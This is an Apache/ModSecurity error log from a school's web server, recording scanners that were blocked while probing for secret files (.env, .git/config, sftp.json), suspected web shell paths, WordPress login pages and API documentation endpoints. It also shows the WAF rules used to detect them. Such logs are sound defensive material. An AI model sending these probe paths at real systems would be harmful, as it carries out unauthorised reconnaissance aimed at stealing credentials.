[Tue Dec 09 01:45:18.489115 2025] [:error] [pid 17589:tid 17657] [client 3.140.254.13:42170] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env.bak"] [unique_id "aTcOro3u_N_j630LWcCRJQAAAUo"], referer: https://www.google.com/
[Tue Dec 09 01:45:19.031891 2025] [:error] [pid 17589:tid 17664] [client 3.140.254.13:42196] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env.old"] [unique_id "aTcOr43u_N_j630LWcCRJgAAAVE"], referer: https://www.google.com/
[Tue Dec 09 01:45:19.742647 2025] [:error] [pid 17589:tid 17655] [client 3.140.254.13:42244] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/src/.env"] [unique_id "aTcOr43u_N_j630LWcCRKAAAAUg"], referer: https://www.google.com/
[Tue Dec 09 01:45:21.194872 2025] [:error] [pid 59067:tid 59079] [client 3.140.254.13:42272] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/src/.env.save"] [unique_id "aTcOsXStYKzcfg3q9jfB1AAAAQU"], referer: https://www.google.com/
[Tue Dec 09 19:47:09.338419 2025] [:error] [pid 30500:tid 30561] [client 45.148.10.250:37436] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTgMPa2eIIK3JPWHCXXIlwAAAYQ"]
[Wed Dec 10 15:12:12.253388 2025] [:error] [pid 36977:tid 37053] [client 45.139.104.184:59718] [client 45.139.104.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTkdTMc-JLl-uoL-Au5k9wAAAFM"]
[Mon Dec 15 12:40:33.357292 2025] [:error] [pid 44555:tid 44574] [client 134.199.175.223:51620] [client 134.199.175.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.175.223, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aT-RQWDHW0g-e9AKPr7VlAAAAFE"]
[Mon Dec 15 12:40:33.449200 2025] [:error] [pid 39829:tid 39909] [client 134.199.175.223:63963] [client 134.199.175.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.175.223, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aT-RQWegGfxg5ldkNehregAAAZg"]
[Tue Dec 16 23:31:18.159613 2025] [:error] [pid 53940:tid 53965] [client 159.65.11.63:63293] [client 159.65.11.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aUF7Rl91PNbcXLVkpR4gfQAAAdY"]
[Tue Dec 16 23:31:29.252458 2025] [:error] [pid 51991:tid 51996] [client 159.65.11.63:60625] [client 159.65.11.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aUF7Ua7zKCVJSuwV1xb8kQAAAQM"]
[Fri Dec 19 21:40:28.985799 2025] [:error] [pid 16026:tid 16045] [client 97.206.152.1:59176] [client 97.206.152.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||seqta-learn.carmel.wa.edu.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aUVVzELVfhf4Jb3enmNGygAAAVA"]
[Sun Dec 21 14:01:34.776331 2025] [:error] [pid 12191:tid 12210] [client 157.245.204.205:34918] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aUeNPgM0m463UZmqdiB0-AAAARE"]
[Sun Dec 21 14:01:35.867338 2025] [:error] [pid 20760:tid 20771] [client 157.245.204.205:34928] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/graphql"] [unique_id "aUeNP-XEVvRTAtWo3gkf3QAAAMg"]
[Sun Dec 21 14:01:36.215748 2025] [:error] [pid 20674:tid 20696] [client 157.245.204.205:34938] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api"] [unique_id "aUeNQNhSbhHOCK6TAw933gAAABI"]
[Sun Dec 21 14:01:36.558619 2025] [:error] [pid 60191:tid 60217] [client 157.245.204.205:34948] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/graphql"] [unique_id "aUeNQKklhK29C3vVvLU-YwAAAZg"]
[Sun Dec 21 14:01:36.900147 2025] [:error] [pid 20674:tid 20680] [client 157.245.204.205:34954] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/graphql/api"] [unique_id "aUeNQNhSbhHOCK6TAw934QAAAAI"]
[Sun Dec 21 14:01:37.245479 2025] [:error] [pid 20760:tid 20782] [client 157.245.204.205:34966] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/gql"] [unique_id "aUeNQeXEVvRTAtWo3gkf4AAAANM"]
[Sun Dec 21 14:01:38.590464 2025] [:error] [pid 20676:tid 20751] [client 157.245.204.205:40080] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/swagger-ui.html"] [unique_id "aUeNQqpSa967F4pOO5wscAAAAJI"]
[Sun Dec 21 14:01:39.590341 2025] [:error] [pid 20674:tid 20685] [client 157.245.204.205:40092] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/swagger/index.html"] [unique_id "aUeNQ9hSbhHOCK6TAw934gAAAAc"]
[Sun Dec 21 14:01:40.590884 2025] [:error] [pid 20676:tid 20749] [client 157.245.204.205:40102] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/swagger/swagger-ui.html"] [unique_id "aUeNRKpSa967F4pOO5wsewAAAJA"]
[Sun Dec 21 14:01:41.590135 2025] [:error] [pid 20675:tid 20729] [client 157.245.204.205:40112] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "aUeNRbyUvZnd3bHSR3ZtfgAAAFc"]
[Sun Dec 21 14:01:42.590982 2025] [:error] [pid 20675:tid 20722] [client 157.245.204.205:40122] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/swagger.json"] [unique_id "aUeNRryUvZnd3bHSR3ZtfwAAAFA"]
[Sun Dec 21 14:01:43.591080 2025] [:error] [pid 20676:tid 20736] [client 157.245.204.205:40124] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/swagger/v1/swagger.json"] [unique_id "aUeNR6pSa967F4pOO5wsgwAAAIM"]
[Sun Dec 21 14:01:44.593755 2025] [:error] [pid 20676:tid 20737] [client 157.245.204.205:40136] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/v2/api-docs"] [unique_id "aUeNSKpSa967F4pOO5wshgAAAIQ"]
[Sun Dec 21 14:01:45.592928 2025] [:error] [pid 20675:tid 20728] [client 157.245.204.205:40146] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/v3/api-docs"] [unique_id "aUeNSbyUvZnd3bHSR3ZtgwAAAFY"]
[Sun Dec 21 14:01:46.654406 2025] [:error] [pid 20675:tid 20729] [client 157.245.204.205:40156] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api-docs/swagger.json"] [unique_id "aUeNSryUvZnd3bHSR3ZtiQAAAFc"]
[Sun Dec 21 14:01:47.656710 2025] [:error] [pid 16016:tid 16021] [client 157.245.204.205:40164] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/swagger.json"] [unique_id "aUeNS8HQ_KQh3iINaCMwLwAAAUM"]
[Sun Dec 21 14:01:48.718035 2025] [:error] [pid 12191:tid 12205] [client 157.245.204.205:33198] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/@vite/env"] [unique_id "aUeNTAM0m463UZmqdiB1DAAAAQw"]
[Sun Dec 21 14:01:49.790137 2025] [:error] [pid 20675:tid 20706] [client 157.245.204.205:33204] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/env"] [unique_id "aUeNTbyUvZnd3bHSR3ZtjwAAAEA"]
[Sun Dec 21 14:01:50.932122 2025] [:error] [pid 16016:tid 16036] [client 157.245.204.205:33214] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server"] [unique_id "aUeNTsHQ_KQh3iINaCMwNQAAAVI"]
[Sun Dec 21 14:01:51.718315 2025] [:error] [pid 20675:tid 20710] [client 157.245.204.205:33230] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.vscode/sftp.json"] [unique_id "aUeNT7yUvZnd3bHSR3ZtkwAAAEQ"]
[Sun Dec 21 14:01:53.721244 2025] [:error] [pid 20674:tid 20691] [client 157.245.204.205:33234] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/about"] [unique_id "aUeNUdhSbhHOCK6TAw937AAAAA0"]
[Sun Dec 21 14:01:54.721523 2025] [:error] [pid 20674:tid 20690] [client 157.245.204.205:33250] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/debug/default/view"] [unique_id "aUeNUthSbhHOCK6TAw937wAAAAw"]
[Sun Dec 21 14:01:55.721213 2025] [:error] [pid 20674:tid 20692] [client 157.245.204.205:33266] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/v2/_catalog"] [unique_id "aUeNU9hSbhHOCK6TAw938gAAAA4"]
[Sun Dec 21 14:01:56.768612 2025] [:error] [pid 20674:tid 20697] [client 157.245.204.205:33276] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aUeNVNhSbhHOCK6TAw939gAAABM"]
[Sun Dec 21 14:01:57.722402 2025] [:error] [pid 20676:tid 20756] [client 157.245.204.205:33286] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server-status"] [unique_id "aUeNVapSa967F4pOO5wsowAAAJc"]
[Sun Dec 21 14:01:58.754141 2025] [:error] [pid 60191:tid 60207] [client 157.245.204.205:42732] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/login.action"] [unique_id "aUeNVqklhK29C3vVvLU-dAAAAY4"]
[Sun Dec 21 14:01:59.748280 2025] [:error] [pid 20674:tid 20685] [client 157.245.204.205:42736] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/_all_dbs"] [unique_id "aUeNV9hSbhHOCK6TAw93_AAAAAc"]
[Sun Dec 21 14:02:00.748375 2025] [:error] [pid 20675:tid 20723] [client 157.245.204.205:42742] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.DS_Store"] [unique_id "aUeNWLyUvZnd3bHSR3ZtoQAAAFE"]
[Sun Dec 21 14:02:01.301660 2025] [authz_core:error] [pid 12191:tid 12198] [client 138.68.82.23:42680] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Sun Dec 21 14:02:01.749230 2025] [:error] [pid 20675:tid 20715] [client 157.245.204.205:42750] [client 157.245.204.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aUeNWbyUvZnd3bHSR3ZtpQAAAEk"]
[Sun Dec 21 14:02:03.755910 2025] [:error] [pid 12191:tid 12212] [client 157.245.204.205:42756] [client 157.245.204.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUeNWwM0m463UZmqdiB1GAAAARM"]
[Sun Dec 21 14:02:04.749657 2025] [:error] [pid 20676:tid 20749] [client 157.245.204.205:42762] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aUeNXKpSa967F4pOO5wsrQAAAJA"]
[Sun Dec 21 14:02:05.337577 2025] [:error] [pid 20676:tid 20739] [client 138.68.82.23:38304] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aUeNXapSa967F4pOO5wssQAAAIY"]
[Sun Dec 21 14:02:05.951626 2025] [:error] [pid 20760:tid 20768] [client 157.245.204.205:42770] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.json"] [unique_id "aUeNXeXEVvRTAtWo3gkf8QAAAMU"]
[Sun Dec 21 14:02:06.751816 2025] [:error] [pid 20675:tid 20730] [client 157.245.204.205:42776] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/telescope/requests"] [unique_id "aUeNXryUvZnd3bHSR3ZtrgAAAFg"]
[Sun Dec 21 14:02:07.304251 2025] [:error] [pid 20760:tid 20763] [client 138.68.82.23:38306] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUeNX-XEVvRTAtWo3gkf9AAAAMA"]
[Sun Dec 21 14:02:07.920608 2025] [:error] [pid 20674:tid 20680] [client 157.245.204.205:42784] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/info.php"] [unique_id "aUeNX9hSbhHOCK6TAw94AAAAAAI"]
[Sun Dec 21 14:02:08.754934 2025] [:error] [pid 20760:tid 20765] [client 157.245.204.205:46892] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aUeNYOXEVvRTAtWo3gkf-AAAAMI"]
[Mon Dec 22 13:04:19.161642 2025] [:error] [pid 33472:tid 33513] [client 195.178.110.161:39448] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUjRU55p2WQpPIK8HAmbdAAAAYw"]
[Tue Dec 23 00:56:48.024345 2025] [:error] [pid 40361:tid 40381] [client 68.183.6.19:54898] [client 68.183.6.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.6.19, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aUl4UOxiDEK95vL2EDqzTwAAAFI"]
[Tue Dec 23 00:56:49.112968 2025] [:error] [pid 40269:tid 40349] [client 68.183.6.19:62303] [client 68.183.6.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.6.19, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aUl4US06Z11fTcfdsqTR2QAAARQ"]
[Tue Dec 23 05:27:23.960871 2025] [:error] [pid 49061:tid 49098] [client 45.82.13.170:37884] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aUm3u2RtvGWfzuDz6nQunQAAAEY"]
[Tue Dec 23 11:39:03.403364 2025] [:error] [pid 3405:tid 3461] [client 195.178.110.223:47070] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUoO17dHHpIDpQ39rwmvSwAAABg"]
